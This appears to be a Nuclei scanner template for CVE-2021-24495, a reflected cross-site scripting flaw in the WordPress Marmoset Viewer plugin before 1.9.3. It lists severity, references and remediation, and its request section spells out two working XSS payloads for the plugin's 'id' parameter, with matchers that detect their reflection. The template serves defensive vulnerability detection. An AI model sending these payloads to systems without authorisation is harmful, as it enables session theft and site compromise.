55 lines
2.4 KiB
YAML
55 lines
2.4 KiB
YAML
id: CVE-2021-24495
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info:
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name: Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting
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author: johnjhacking
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severity: medium
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description: WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the 'id' parameter before outputting back in the page.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
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remediation: |
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Update the Wordpress Marmoset Viewer plugin to version 1.9.3 or later to mitigate the vulnerability.
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reference:
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- https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/
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- https://wordpress.org/plugins/marmoset-viewer/#developers
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- https://wpscan.com/vulnerability/d11b79a3-f762-49ab-b7c8-3174624d7638
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24495
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-24495
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cwe-id: CWE-79
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epss-score: 0.00116
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epss-percentile: 0.44405
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cpe: cpe:2.3:a:marmoset:marmoset_viewer:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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vendor: marmoset
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product: marmoset_viewer
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framework: wordpress
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tags: cve2021,cve,xss,wpscan,wp-plugin,wordpress,intrusive,marmoset
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http:
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- method: GET
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path:
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- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
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- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- </script><svg/onload=alert('{{randstr}}')>
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- alert(/{{randstr}}/)
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condition: or
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- type: word
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words:
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- Marmoset Viewer
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- type: status
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status:
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- 200
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# digest: 4a0a004730450220323351b70fe03bb87e8053f54164044bad127d6e5cd90c3e08049d65324388b5022100e1627985e9218c00c1819f12a490649db47bec0764bccef2f599d4c828ab2eb0:922c64590222798bb761d5b6d8e72950 |